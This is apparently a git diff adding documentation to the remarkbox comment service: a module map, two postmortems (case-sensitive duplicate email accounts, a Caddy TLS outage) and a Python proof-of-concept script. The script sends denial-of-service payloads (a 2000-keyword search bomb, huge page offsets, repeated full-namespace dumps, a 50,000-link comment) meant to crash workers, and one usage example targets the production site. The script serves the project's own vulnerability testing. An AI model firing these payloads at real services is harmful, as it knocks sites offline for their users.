|
|
||||||
|
Deterministic: same namespace name always produces the same theme.
|
||||||
|
|
||||||
|
## Module Map
|
||||||
|
|
||||||
|
```dot
|
||||||
|
digraph modules {
|
||||||
|
rankdir=TB
|
||||||
|
node [shape=box, fontname="monospace", fontsize=10]
|
||||||
|
edge [fontname="sans-serif", fontsize=9]
|
||||||
|
compound=true
|
||||||
|
|
||||||
|
subgraph cluster_lib {
|
||||||
|
label="remarkbox/lib/"
|
||||||
|
style=rounded
|
||||||
|
fontname="sans-serif"
|
||||||
|
pandoc_py [label="pandoc.py\nsubprocess wrapper\ntree renderer"]
|
||||||
|
theme_gen [label="theme_generator.py\ndeterministic CSS"]
|
||||||
|
}
|
||||||
|
|
||||||
|
subgraph cluster_api {
|
||||||
|
label="remarkbox/api/"
|
||||||
|
style=rounded
|
||||||
|
fontname="sans-serif"
|
||||||
|
export_py [label="export.py\n/export/ endpoints"]
|
||||||
|
wiki_py [label="wiki.py\n/wiki-edit, /revisions"]
|
||||||
|
themes_py [label="themes.py\n/themes/ endpoints"]
|
||||||
|
views_py [label="views.py\nsource_format on\ncreate/reply/edit"]
|
||||||
|
serial_py [label="serializers.py\nsource_format in JSON"]
|
||||||
|
}
|
||||||
|
|
||||||
|
subgraph cluster_models {
|
||||||
|
label="remarkbox/models/"
|
||||||
|
style=rounded
|
||||||
|
fontname="sans-serif"
|
||||||
|
node_py [label="node.py\nsource_format column\nset_data(), wiki_edit()"]
|
||||||
|
ns_py [label="namespace.py\ncan_wiki_edit()"]
|
||||||
|
rev_py [label="revision.py\nRevision model"]
|
||||||
|
}
|
||||||
|
|
||||||
|
subgraph cluster_migrations {
|
||||||
|
label="remarkbox/scripts/alembic/versions/"
|
||||||
|
style=rounded
|
||||||
|
fontname="sans-serif"
|
||||||
|
mig1 [label="d47dc908d2ea\nadd source_format"]
|
||||||
|
mig2 [label="8e3c406e4049\ncreate rb_revision"]
|
||||||
|
}
|
||||||
|
|
||||||
|
export_py -> pandoc_py
|
||||||
|
themes_py -> theme_gen
|
||||||
|
wiki_py -> rev_py
|
||||||
|
wiki_py -> node_py
|
||||||
|
views_py -> node_py
|
||||||
|
export_py -> node_py
|
||||||
|
export_py -> ns_py
|
||||||
|
node_py -> pandoc_py [style=dashed, label="non-md formats"]
|
||||||
|
mig1 -> node_py [style=dotted]
|
||||||
|
mig2 -> rev_py [style=dotted]
|
||||||
|
}
|
||||||
|
```
|
||||||
314
docs/poc-cwe407.py
Executable file
|
|
@ -0,0 +1,314 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
CWE-407 Proof-of-Concept — Algorithmic Complexity DoS
|
||||||
|
Target: remarkbox
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
python3 poc-cwe407.py <base_url> <test>
|
||||||
|
|
||||||
|
Tests:
|
||||||
|
search /search keyword bomb (unauthenticated)
|
||||||
|
page ?page= offset bomb (unauthenticated)
|
||||||
|
dump /ns/{ns}/dump.json full-namespace dump (unauthenticated)
|
||||||
|
comment HTML bomb via POST /new (authenticated — provide session cookie)
|
||||||
|
all run all unauthenticated tests
|
||||||
|
|
||||||
|
AUTHORIZED USE ONLY. Run against your own dev instance.
|
||||||
|
|
||||||
|
Examples:
|
||||||
|
python3 poc-cwe407.py http://localhost:6543 search
|
||||||
|
python3 poc-cwe407.py https://remarkbox.com search
|
||||||
|
python3 poc-cwe407.py http://localhost:6543 page
|
||||||
|
python3 poc-cwe407.py http://localhost:6543 dump
|
||||||
|
python3 poc-cwe407.py http://localhost:6543 all
|
||||||
|
"""
|
||||||
|
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
import statistics
|
||||||
|
import urllib.request
|
||||||
|
import urllib.parse
|
||||||
|
import urllib.error
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# helpers
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
def get(url, headers=None, timeout=120):
|
||||||
|
req = urllib.request.Request(url, headers=headers or {})
|
||||||
|
t0 = time.monotonic()
|
||||||
|
try:
|
||||||
|
with urllib.request.urlopen(req, timeout=timeout) as resp:
|
||||||
|
body = resp.read()
|
||||||
|
elapsed = time.monotonic() - t0
|
||||||
|
return resp.status, elapsed, len(body)
|
||||||
|
except urllib.error.HTTPError as e:
|
||||||
|
elapsed = time.monotonic() - t0
|
||||||
|
body = e.read()
|
||||||
|
return e.code, elapsed, len(body)
|
||||||
|
except Exception as e:
|
||||||
|
elapsed = time.monotonic() - t0
|
||||||
|
return 0, elapsed, 0
|
||||||
|
|
||||||
|
|
||||||
|
def post(url, data, headers=None, timeout=120):
|
||||||
|
if isinstance(data, dict):
|
||||||
|
data = urllib.parse.urlencode(data).encode()
|
||||||
|
h = {"Content-Type": "application/x-www-form-urlencoded"}
|
||||||
|
if headers:
|
||||||
|
h.update(headers)
|
||||||
|
req = urllib.request.Request(url, data=data, headers=h, method="POST")
|
||||||
|
t0 = time.monotonic()
|
||||||
|
try:
|
||||||
|
with urllib.request.urlopen(req, timeout=timeout) as resp:
|
||||||
|
body = resp.read()
|
||||||
|
elapsed = time.monotonic() - t0
|
||||||
|
return resp.status, elapsed, len(body)
|
||||||
|
except urllib.error.HTTPError as e:
|
||||||
|
elapsed = time.monotonic() - t0
|
||||||
|
body = e.read()
|
||||||
|
return e.code, elapsed, len(body)
|
||||||
|
except Exception as e:
|
||||||
|
elapsed = time.monotonic() - t0
|
||||||
|
return 0, elapsed, 0
|
||||||
|
|
||||||
|
|
||||||
|
def row(label, status, elapsed, body_len):
|
||||||
|
flag = " <-- SLOW" if elapsed > 10 else ""
|
||||||
|
print(f" {label:<45s} HTTP {status} {elapsed:7.2f}s {body_len:>9d} bytes{flag}")
|
||||||
|
|
||||||
|
|
||||||
|
def header(title):
|
||||||
|
print()
|
||||||
|
print("=" * 75)
|
||||||
|
print(f" {title}")
|
||||||
|
print("=" * 75)
|
||||||
|
print(f" {'payload':<45s} {'status':<9s} {'time':>7s} {'body':>14s}")
|
||||||
|
print("-" * 75)
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# PoC 1: /search keyword bomb — CVE candidate
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
#
|
||||||
|
# Root cause: remarkbox/views/list_nodes.py:151
|
||||||
|
# get_root_nodes_by_keywords(dbsession, keywords.split(" "), request.namespace)
|
||||||
|
#
|
||||||
|
# Per keyword: SELECT * FROM node WHERE data ILIKE '%keyword%' (full table scan)
|
||||||
|
# Results accumulate in a Python list with no LIMIT.
|
||||||
|
# Sort at end: O(n log n) over entire accumulated result set.
|
||||||
|
#
|
||||||
|
# Complexity: O(k * n) queries + O(k*n log k*n) sort
|
||||||
|
# k = keyword count (user-controlled, no cap)
|
||||||
|
# n = matching nodes per keyword (unbounded)
|
||||||
|
#
|
||||||
|
# Attack: send k=500 keywords consisting of common characters
|
||||||
|
# each fires a full table scan; worker CPU saturates.
|
||||||
|
|
||||||
|
def poc_search(base, namespace=None):
|
||||||
|
header("PoC 1: /search keyword bomb [UNAUTHENTICATED]")
|
||||||
|
|
||||||
|
if namespace:
|
||||||
|
url = base.rstrip("/") + f"/ns/{namespace}/search"
|
||||||
|
else:
|
||||||
|
# remarkbox also exposes /search at top level
|
||||||
|
url = base.rstrip("/") + "/search"
|
||||||
|
|
||||||
|
timings = []
|
||||||
|
for n in [1, 5, 10, 25, 50, 100, 200, 500]:
|
||||||
|
# "the" is 3 chars, matches most English comment bodies
|
||||||
|
payload = " ".join(["the"] * n)
|
||||||
|
qs = urllib.parse.urlencode({"keywords": payload})
|
||||||
|
status, elapsed, body_len = get(f"{url}?{qs}")
|
||||||
|
timings.append((n, elapsed))
|
||||||
|
row(f"{n:>4d}x 'the'", status, elapsed, body_len)
|
||||||
|
|
||||||
|
if len(timings) >= 2:
|
||||||
|
baseline = timings[0][1]
|
||||||
|
worst = timings[-1][1]
|
||||||
|
ratio = worst / baseline if baseline > 0 else float("inf")
|
||||||
|
print(f"\n baseline (1 keyword): {baseline:.2f}s")
|
||||||
|
print(f" worst (500 keywords): {worst:.2f}s")
|
||||||
|
print(f" ratio: {ratio:.1f}x {'[CONFIRMED CWE-407]' if ratio > 5 else '[marginal]'}")
|
||||||
|
|
||||||
|
# single-shot crash attempt
|
||||||
|
print()
|
||||||
|
print(" Crash attempt: 2000-keyword query")
|
||||||
|
payload = " ".join(["a"] * 2000)
|
||||||
|
qs = urllib.parse.urlencode({"keywords": payload})
|
||||||
|
status, elapsed, body_len = get(f"{url}?{qs}", timeout=180)
|
||||||
|
row("2000x 'a'", status, elapsed, body_len)
|
||||||
|
if status == 0:
|
||||||
|
print(" [CRASH] No response / connection reset — worker likely killed by RSS limit")
|
||||||
|
elif status == 502 or status == 503:
|
||||||
|
print(" [CRASH] 5xx — uWSGI worker restarted or queue full")
|
||||||
|
elif elapsed > 30:
|
||||||
|
print(" [CRASH] >30s response — worker thread fully saturated")
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# PoC 2: ?page= offset DoS — CVE candidate
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
#
|
||||||
|
# Root cause: remarkbox/__init__.py:512
|
||||||
|
# page_number = int(request.params.get("page", 1)) # no upper bound
|
||||||
|
# page_offset = (page_number - 1) * page_size # page_size default 100
|
||||||
|
#
|
||||||
|
# Query issued: SELECT ... LIMIT 100 OFFSET <arbitrary>
|
||||||
|
# SQLite (and most RDBMS) must skip OFFSET rows before returning LIMIT rows.
|
||||||
|
# OFFSET 1e10 = full table scan discarding 10 billion rows.
|
||||||
|
#
|
||||||
|
# Complexity: O(offset) per request
|
||||||
|
#
|
||||||
|
# Attack: single request with page=9999999 serialises DB for seconds.
|
||||||
|
|
||||||
|
def poc_page(base, namespace=None):
|
||||||
|
header("PoC 2: ?page= offset bomb [UNAUTHENTICATED]")
|
||||||
|
|
||||||
|
if namespace:
|
||||||
|
url = base.rstrip("/") + f"/ns/{namespace}/nodes"
|
||||||
|
else:
|
||||||
|
ns = urllib.parse.urlparse(base).hostname or "local"
|
||||||
|
url = base.rstrip("/") + f"/ns/{ns}/nodes"
|
||||||
|
|
||||||
|
for page in [1, 10, 100, 1_000, 10_000, 100_000, 1_000_000, 10_000_000]:
|
||||||
|
status, elapsed, body_len = get(f"{url}?page={page}")
|
||||||
|
row(f"page={page:>12,d} (OFFSET {(page-1)*100:>14,d})", status, elapsed, body_len)
|
||||||
|
|
||||||
|
print()
|
||||||
|
print(f" PoC URL: {url}?page=9999999")
|
||||||
|
print(" NOTE: if elapsed grows with page → confirmed OFFSET DoS")
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# PoC 3: /ns/{ns}/dump.json — CVE candidate
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
#
|
||||||
|
# Root cause: remarkbox/models/namespace.py:427
|
||||||
|
# dict_dump property iterates self.roots → for each root iterates root.children
|
||||||
|
# No pagination, no limit. Full namespace serialized to JSON in one shot.
|
||||||
|
# Each child access may trigger lazy-load ORM queries.
|
||||||
|
#
|
||||||
|
# Complexity: O(r * n) + JSON serialization
|
||||||
|
# r = root nodes, n = child nodes per root
|
||||||
|
#
|
||||||
|
# Attack: attacker creates namespace with many nodes, then hammers dump endpoint.
|
||||||
|
# Even without attack setup, large existing namespaces expose this.
|
||||||
|
|
||||||
|
def poc_dump(base, namespace=None):
|
||||||
|
header("PoC 3: /ns/{ns}/dump.json full dump [UNAUTHENTICATED]")
|
||||||
|
|
||||||
|
if namespace is None:
|
||||||
|
namespace = urllib.parse.urlparse(base).hostname or "local"
|
||||||
|
|
||||||
|
url = base.rstrip("/") + f"/ns/{namespace}/dump.json"
|
||||||
|
|
||||||
|
times = []
|
||||||
|
for i in range(5):
|
||||||
|
status, elapsed, body_len = get(url)
|
||||||
|
times.append(elapsed)
|
||||||
|
row(f"request #{i+1}", status, elapsed, body_len)
|
||||||
|
|
||||||
|
print(f"\n 5-run stats: median={statistics.median(times):.2f}s max={max(times):.2f}s min={min(times):.2f}s")
|
||||||
|
print(f" PoC URL: {url}")
|
||||||
|
print(" Impact scales linearly with node count in namespace.")
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# PoC 4: HTML comment bomb — CVE candidate (authenticated)
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
#
|
||||||
|
# Root cause: remarkbox/lib/sanitize_html.py:131-139
|
||||||
|
# conditional_tag_filter: nested find_all() per tag type
|
||||||
|
# protect_links: find_all("a") — O(n) per link count
|
||||||
|
# render.py: html5lib parser slow on deeply nested/wide HTML
|
||||||
|
#
|
||||||
|
# Complexity: O(m * n) where m = tag type count, n = total DOM nodes
|
||||||
|
#
|
||||||
|
# Attack: post comment with 50,000 <a href="..."> tags.
|
||||||
|
# sanitize_html must find_all("a") → 50,000 iterations.
|
||||||
|
# html5lib must parse malformed/deep HTML tree.
|
||||||
|
#
|
||||||
|
# Requires: valid session cookie (authenticated user)
|
||||||
|
|
||||||
|
def poc_comment_bomb(base, namespace, session_cookie, node_id):
|
||||||
|
header("PoC 4: HTML comment bomb [AUTHENTICATED — session cookie required]")
|
||||||
|
|
||||||
|
if not session_cookie:
|
||||||
|
print(" SKIP: no session cookie provided")
|
||||||
|
print(" To run: python3 poc-cwe407.py <base> comment <namespace> <node_id> <session_cookie>")
|
||||||
|
return
|
||||||
|
|
||||||
|
url = base.rstrip("/") + f"/embed/ns/{namespace}/{node_id}"
|
||||||
|
|
||||||
|
# Build HTML with 50,000 anchor tags
|
||||||
|
# html5lib + BeautifulSoup find_all("a") + protect_links() = O(50000)
|
||||||
|
n_links = 50_000
|
||||||
|
link_block = '<a href="https://example.com">x</a>' * n_links
|
||||||
|
comment_body = f"timing test {link_block}"
|
||||||
|
|
||||||
|
print(f" Posting comment with {n_links:,} anchor tags to {url}")
|
||||||
|
print(f" Expected server-side: html5lib parse + find_all('a') = O({n_links:,}) iterations")
|
||||||
|
print()
|
||||||
|
|
||||||
|
status, elapsed, body_len = post(
|
||||||
|
url,
|
||||||
|
{"data": comment_body, "csrf_token": ""}, # csrf may reject — timing still relevant
|
||||||
|
headers={"Cookie": session_cookie},
|
||||||
|
)
|
||||||
|
row(f"{n_links:,} anchor tags", status, elapsed, body_len)
|
||||||
|
|
||||||
|
if elapsed > 5:
|
||||||
|
print(" [IMPACT] >5s processing — sanitizer O(n) confirmed")
|
||||||
|
if status == 0:
|
||||||
|
print(" [CRASH] Connection reset — worker killed mid-request")
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# dispatch
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
def usage():
|
||||||
|
print(__doc__)
|
||||||
|
print("Available tests: search, page, dump, comment, all")
|
||||||
|
print()
|
||||||
|
print("Examples:")
|
||||||
|
print(" python3 poc-cwe407.py http://localhost:6543 search")
|
||||||
|
print(" python3 poc-cwe407.py http://localhost:6543 page")
|
||||||
|
print(" python3 poc-cwe407.py http://localhost:6543 dump myNamespace")
|
||||||
|
print(" python3 poc-cwe407.py http://localhost:6543 comment myNS nodeId 'session=abc123'")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
if len(sys.argv) < 3:
|
||||||
|
usage()
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
base = sys.argv[1]
|
||||||
|
test = sys.argv[2]
|
||||||
|
namespace = sys.argv[3] if len(sys.argv) > 3 else None
|
||||||
|
|
||||||
|
if test == "search":
|
||||||
|
poc_search(base, namespace)
|
||||||
|
elif test == "page":
|
||||||
|
poc_page(base, namespace)
|
||||||
|
elif test == "dump":
|
||||||
|
poc_dump(base, namespace)
|
||||||
|
elif test == "comment":
|
||||||
|
node_id = sys.argv[4] if len(sys.argv) > 4 else None
|
||||||
|
cookie = sys.argv[5] if len(sys.argv) > 5 else None
|
||||||
|
if not namespace or not node_id:
|
||||||
|
print("Usage: poc-cwe407.py <base> comment <namespace> <node_id> [session_cookie]")
|
||||||
|
sys.exit(1)
|
||||||
|
poc_comment_bomb(base, namespace, cookie, node_id)
|
||||||
|
elif test == "all":
|
||||||
|
poc_search(base, namespace)
|
||||||
|
poc_page(base, namespace)
|
||||||
|
poc_dump(base, namespace)
|
||||||
|
else:
|
||||||
|
print(f"Unknown test: {test}")
|
||||||
|
usage()
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print()
|
||||||
|
print("Done.")
|
||||||
85
docs/postmortem-2026-01-29-duplicate-email-accounts.md
Normal file
|
|
@ -0,0 +1,85 @@
|
||||||
|
# Postmortem: Duplicate User Accounts from Case-Sensitive Email Handling
|
||||||
|
|
||||||
|
**Date**: 2026-01-29
|
||||||
|
**Severity**: Medium
|
||||||
|
**Status**: Resolved
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
Users reported receiving duplicate email notifications. Investigation revealed multiple user accounts existed with the same email address differing only by case (e.g., `user@example.com` and `User@Example.com`).
|
||||||
|
|
||||||
|
## Impact
|
||||||
|
|
||||||
|
- 6 users affected with duplicate accounts
|
||||||
|
- Duplicate email notifications sent to affected users
|
||||||
|
- User data split across multiple accounts
|
||||||
|
|
||||||
|
## Root Cause
|
||||||
|
|
||||||
|
The email field in the User model used case-sensitive matching for both:
|
||||||
|
1. Uniqueness constraint validation
|
||||||
|
2. User lookup during authentication
|
||||||
|
|
||||||
|
This allowed users to create multiple accounts by varying the case of their email address during signup.
|
||||||
|
|
||||||
|
## Timeline
|
||||||
|
|
||||||
|
- **2026-01-29 08:00** - User report of duplicate notifications received
|
||||||
|
- **2026-01-29 08:15** - Investigation began via production database
|
||||||
|
- **2026-01-29 08:30** - Root cause identified: case-sensitive email handling
|
||||||
|
- **2026-01-29 08:45** - Fix developed and tested locally
|
||||||
|
- **2026-01-29 09:00** - Fix deployed to production
|
||||||
|
- **2026-01-29 09:15** - Merge script created to consolidate duplicate accounts
|
||||||
|
- **2026-01-29 09:30** - All duplicate accounts merged, issue resolved
|
||||||
|
|
||||||
|
## Resolution
|
||||||
|
|
||||||
|
### Code Changes
|
||||||
|
|
||||||
|
1. **Email normalization on creation** (`remarkbox/models/user.py`)
|
||||||
|
- Emails now stored as lowercase in `User.__init__`
|
||||||
|
|
||||||
|
2. **Case-insensitive lookup** (`remarkbox/models/user.py`)
|
||||||
|
- `get_user_by_email()` now uses `func.lower()` for comparison
|
||||||
|
|
||||||
|
3. **Merge script** (`remarkbox/scripts/merge_duplicate_email_users.py`)
|
||||||
|
- New management command to find and merge duplicate accounts
|
||||||
|
- Keeps oldest account, transfers all related data
|
||||||
|
- Handles unique constraint conflicts gracefully
|
||||||
|
|
||||||
|
### Data Migration
|
||||||
|
|
||||||
|
Ran `remarkbox_merge_duplicate_email_users` to consolidate:
|
||||||
|
- 6 duplicate email sets merged
|
||||||
|
- 14 nodes transferred
|
||||||
|
- 4 watchers transferred
|
||||||
|
- 1 notification transferred
|
||||||
|
- 6 duplicate accounts deleted
|
||||||
|
- All emails normalized to lowercase
|
||||||
|
|
||||||
|
## Prevention
|
||||||
|
|
||||||
|
1. **Unit tests added** (`test_models.py`)
|
||||||
|
- `test_email_normalized_to_lowercase`
|
||||||
|
- `test_email_mixed_case_normalized`
|
||||||
|
|
||||||
|
2. **Integration tests added** (`test_views.py`)
|
||||||
|
- `test_get_user_by_email_case_insensitive`
|
||||||
|
- `test_get_or_create_returns_existing_regardless_of_case`
|
||||||
|
- `test_new_user_email_stored_lowercase`
|
||||||
|
- `test_no_duplicate_accounts_from_case_variations`
|
||||||
|
|
||||||
|
## Lessons Learned
|
||||||
|
|
||||||
|
1. Email addresses should always be normalized to lowercase on input
|
||||||
|
2. Case-insensitive comparison should be used for email lookups
|
||||||
|
3. Database unique constraints alone don't prevent case-variant duplicates in SQLite
|
||||||
|
|
||||||
|
## Action Items
|
||||||
|
|
||||||
|
- [x] Fix email normalization in User model
|
||||||
|
- [x] Fix case-insensitive email lookup
|
||||||
|
- [x] Create merge script for existing duplicates
|
||||||
|
- [x] Add regression tests
|
||||||
|
- [x] Run merge on production
|
||||||
|
- [x] Document in postmortem
|
||||||
214
docs/postmortem-2026-02-25-ssl-outage-caddy-acme.md
Normal file
|
|
@ -0,0 +1,214 @@
|
||||||
|
# Postmortem: SSL/TLS Outage on meta.remarkbox.com and faq.remarkbox.com
|
||||||
|
|
||||||
|
**Date**: 2026-02-25 (recurred 2026-02-26 through 2026-03-02)
|
||||||
|
**Severity**: High
|
||||||
|
**Status**: Resolved
|
||||||
|
**Duration**: Initial ~8 hours; recurrence ~5 days
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
meta.remarkbox.com and faq.remarkbox.com went down with SSL protocol errors
|
||||||
|
(`ERR_SSL_PROTOCOL_ERROR`) after the nginx-to-Caddy migration. The initial
|
||||||
|
outage (2026-02-25) was caused by missing domains in the remarkbox server's
|
||||||
|
Caddyfile and a cold-start chicken-and-egg problem. A temporary fix using
|
||||||
|
single-domain bootstrap resolved it, but the domains went down again on each
|
||||||
|
subsequent deploy because the **actual root cause** was in the ingress proxy
|
||||||
|
(`proxy.unturf.com` at 142.93.73.64), not the remarkbox server.
|
||||||
|
|
||||||
|
meta and faq are CNAMEs to `my.remarkbox.com`, which resolves to the ingress
|
||||||
|
proxy. The proxy's Caddyfile had no blocks for meta or faq, so they fell through
|
||||||
|
to the MPS on-demand TLS catch-all — routing to the wrong backend entirely.
|
||||||
|
The remarkbox server's Caddy could never obtain certs for these domains because
|
||||||
|
ACME challenges were directed at the proxy, not the backend.
|
||||||
|
|
||||||
|
## Impact
|
||||||
|
|
||||||
|
- meta.remarkbox.com and faq.remarkbox.com completely unreachable for ~8 hours
|
||||||
|
- my.remarkbox.com, www.remarkbox.com, origin.remarkbox.com also experienced
|
||||||
|
brief downtime during troubleshooting (~30 minutes total across attempts)
|
||||||
|
- westworld2.com unaffected until cert state was nuked, then briefly down
|
||||||
|
- Grop3r reported the issue on Discord
|
||||||
|
|
||||||
|
## Root Cause
|
||||||
|
|
||||||
|
### The actual root cause: missing proxy blocks
|
||||||
|
|
||||||
|
meta.remarkbox.com and faq.remarkbox.com are CNAME records pointing to
|
||||||
|
`my.remarkbox.com`, which resolves to `142.93.73.64` — the ingress proxy
|
||||||
|
(`proxy.unturf.com`). The proxy's Caddyfile (`~/git/proxy.unturf.com/ingress/Caddyfile`)
|
||||||
|
had a block for `my.remarkbox.com` that reverse-proxied to `origin.remarkbox.com`,
|
||||||
|
but **no blocks for meta or faq**.
|
||||||
|
|
||||||
|
Without explicit blocks, requests to meta/faq fell through to the catch-all
|
||||||
|
`https://` block, which uses on-demand TLS and proxies to
|
||||||
|
`origin.makepostsell.com` — a completely different backend. This meant:
|
||||||
|
|
||||||
|
1. The proxy never obtained TLS certs for meta/faq (on-demand TLS asked MPS
|
||||||
|
origin, which rejected these domains)
|
||||||
|
2. The remarkbox server's Caddy could never obtain certs either, because ACME
|
||||||
|
challenges (both HTTP-01 and TLS-ALPN-01) were directed at the proxy IP,
|
||||||
|
not the backend server
|
||||||
|
|
||||||
|
### Contributing factors during initial investigation (2026-02-25)
|
||||||
|
|
||||||
|
1. **Missing domains in remarkbox Caddyfile**: meta/faq were also missing from
|
||||||
|
the remarkbox server's Caddyfile pillar (`foxhop-pillar/caddy/remarkbox.sls`)
|
||||||
|
after the nginx-to-Caddy migration (commit 2d64d79). This was a real issue
|
||||||
|
but fixing it alone could not resolve the outage because the proxy was the
|
||||||
|
TLS termination point.
|
||||||
|
|
||||||
|
2. **Explicit HTTP blocks hijacking port 80**: An early fix attempt added
|
||||||
|
explicit `http://` blocks that created a separate HTTP server without Caddy's
|
||||||
|
built-in ACME handler, breaking HTTP-01 challenges.
|
||||||
|
|
||||||
|
3. **Cold-start chicken-and-egg**: Nuking cert state and restarting Caddy caused
|
||||||
|
all domains to need certs simultaneously, which can fail when the TLS listener
|
||||||
|
has zero certs. This was a red herring — the real problem was that ACME
|
||||||
|
challenges never reached the remarkbox server regardless.
|
||||||
|
|
||||||
|
## Timeline (UTC)
|
||||||
|
|
||||||
|
- **~03:44** — meta.remarkbox.com goes down (SSL protocol error)
|
||||||
|
- **~04:00** — Grop3r reports the issue on Discord
|
||||||
|
- **08:30** — Investigation begins; SSH to remarkbox.com fails (connection reset)
|
||||||
|
- **08:45** — Connected via salt master (akuma.foxhop.net); confirmed Caddy
|
||||||
|
running with ACME errors for all domains
|
||||||
|
- **09:00** — Identified missing meta/faq domains, found explicit HTTP blocks
|
||||||
|
creating srv1 without ACME handler
|
||||||
|
- **09:15** — First fix: removed explicit HTTP blocks, pushed pillar (12417db),
|
||||||
|
applied via salt highstate
|
||||||
|
- **09:30** — www.remarkbox.com and remarkbox.com come back online; meta/faq
|
||||||
|
still failing with HTTP-01 "tls: internal error"
|
||||||
|
- **09:45** — Second fix: disabled HTTP challenge to force TLS-ALPN-01 (3c9ca52)
|
||||||
|
- **10:00** — TLS-ALPN-01 also failing with "tls: internal error" for ALL domains
|
||||||
|
- **10:15** — Tested standard Caddy binary; same failure. Confirmed NOT a
|
||||||
|
module issue. Restored custom binary immediately.
|
||||||
|
- **10:30** — Nuked all Caddy cert state (`rm -rf /root/.local/share/caddy/`).
|
||||||
|
Fresh start: same failure.
|
||||||
|
- **10:45** — Research confirmed cold-start chicken-and-egg is expected behavior
|
||||||
|
- **11:00** — **Breakthrough: single-domain bootstrap**. Started Caddy with ONLY
|
||||||
|
my.remarkbox.com. Got cert via TLS-ALPN-01 within seconds.
|
||||||
|
- **11:05** — Reloaded (not restarted) with full Caddyfile. Remaining domains
|
||||||
|
obtained certs: some via TLS-ALPN-01 (origin, westworld2), others fell back
|
||||||
|
to ZeroSSL after stale LE orders failed.
|
||||||
|
- **11:15** — All 7 domains confirmed working with valid TLS certs
|
||||||
|
- **11:30** — Final pillar committed (d3d68f5) and pushed
|
||||||
|
|
||||||
|
### Recurrence (2026-02-26 through 2026-03-02)
|
||||||
|
|
||||||
|
- **Feb 26** — Pushing the postmortem commit triggered CI/CD deploy, which
|
||||||
|
restarted Caddy on the remarkbox server. meta/faq lost certs again because
|
||||||
|
the single-domain bootstrap was a one-time workaround, not a permanent fix.
|
||||||
|
- **Feb 26-Mar 1** — Multiple debugging attempts: `on_demand_tls`,
|
||||||
|
`auto_https disable_redirects`, self-signed cert bootstrapping, testing
|
||||||
|
from the server locally (`openssl s_client` showed ACME challenges working
|
||||||
|
on localhost but failing externally). Discovered server IP (162.243.167.224)
|
||||||
|
differed from DNS IP (142.93.73.64) — initially attributed to a "floating IP
|
||||||
|
proxy" stripping TLS-ALPN-01 extensions.
|
||||||
|
- **Mar 2** — Identified the **actual root cause**: 142.93.73.64 is the
|
||||||
|
`proxy.unturf.com` ingress proxy running Caddy, not a transparent floating IP.
|
||||||
|
The proxy's Caddyfile had no blocks for meta/faq. Added the blocks, reloaded
|
||||||
|
the proxy's Caddy, and both domains came up immediately with valid LE certs.
|
||||||
|
|
||||||
|
## Resolution
|
||||||
|
|
||||||
|
### The permanent fix: add proxy blocks (2026-03-02)
|
||||||
|
|
||||||
|
Added `meta.remarkbox.com` and `faq.remarkbox.com` blocks to the ingress
|
||||||
|
proxy Caddyfile (`proxy.unturf.com/ingress/Caddyfile`), identical to the
|
||||||
|
existing `my.remarkbox.com` block:
|
||||||
|
|
||||||
|
```
|
||||||
|
meta.remarkbox.com {
|
||||||
|
forward_auth localhost:8003 {
|
||||||
|
uri /assholes/gate
|
||||||
|
}
|
||||||
|
reverse_proxy https://origin.remarkbox.com {
|
||||||
|
header_up Host {http.request.host}
|
||||||
|
header_up X-Real-IP {http.request.remote.host}
|
||||||
|
header_up X-Forwarded-For {http.request.remote.host}
|
||||||
|
header_up X-Forwarded-Proto {http.request.scheme}
|
||||||
|
transport http {
|
||||||
|
tls_server_name origin.remarkbox.com
|
||||||
|
}
|
||||||
|
}
|
||||||
|
log {
|
||||||
|
output file /var/log/caddy/meta.remarkbox.com.log
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
The proxy handles TLS termination and ACME for meta/faq. Traffic forwards to
|
||||||
|
the remarkbox backend via `origin.remarkbox.com`. The remarkbox server's Caddy
|
||||||
|
no longer needs to obtain certs for these domains — the proxy owns that
|
||||||
|
responsibility.
|
||||||
|
|
||||||
|
Commit: `f12a56d` in `proxy.unturf.com` repo.
|
||||||
|
|
||||||
|
### Earlier workaround: two-phase cert bootstrap (2026-02-25)
|
||||||
|
|
||||||
|
The initial fix used single-domain bootstrap on the remarkbox server to obtain
|
||||||
|
certs. This worked temporarily but broke on every Caddy restart because the
|
||||||
|
underlying proxy routing was wrong.
|
||||||
|
|
||||||
|
### Pillar changes (foxhop-pillar)
|
||||||
|
|
||||||
|
| Commit | Change |
|
||||||
|
|--------|--------|
|
||||||
|
| `12417db` | Remove explicit HTTP blocks and `disable_tlsalpn` |
|
||||||
|
| `3c9ca52` | Force TLS-ALPN-01 by disabling HTTP challenge (reverted) |
|
||||||
|
| `d3d68f5` | Final: add `{email admin@remarkbox.com}` global block, clean config |
|
||||||
|
|
||||||
|
### Architecture after fix
|
||||||
|
|
||||||
|
```
|
||||||
|
Client → meta.remarkbox.com (CNAME → my.remarkbox.com → 142.93.73.64)
|
||||||
|
→ proxy.unturf.com Caddy (TLS termination, ACME, cert management)
|
||||||
|
→ origin.remarkbox.com (162.243.167.224, remarkbox backend Caddy)
|
||||||
|
→ localhost:6001 (uwsgi, Host header determines namespace)
|
||||||
|
```
|
||||||
|
|
||||||
|
## Lessons Learned
|
||||||
|
|
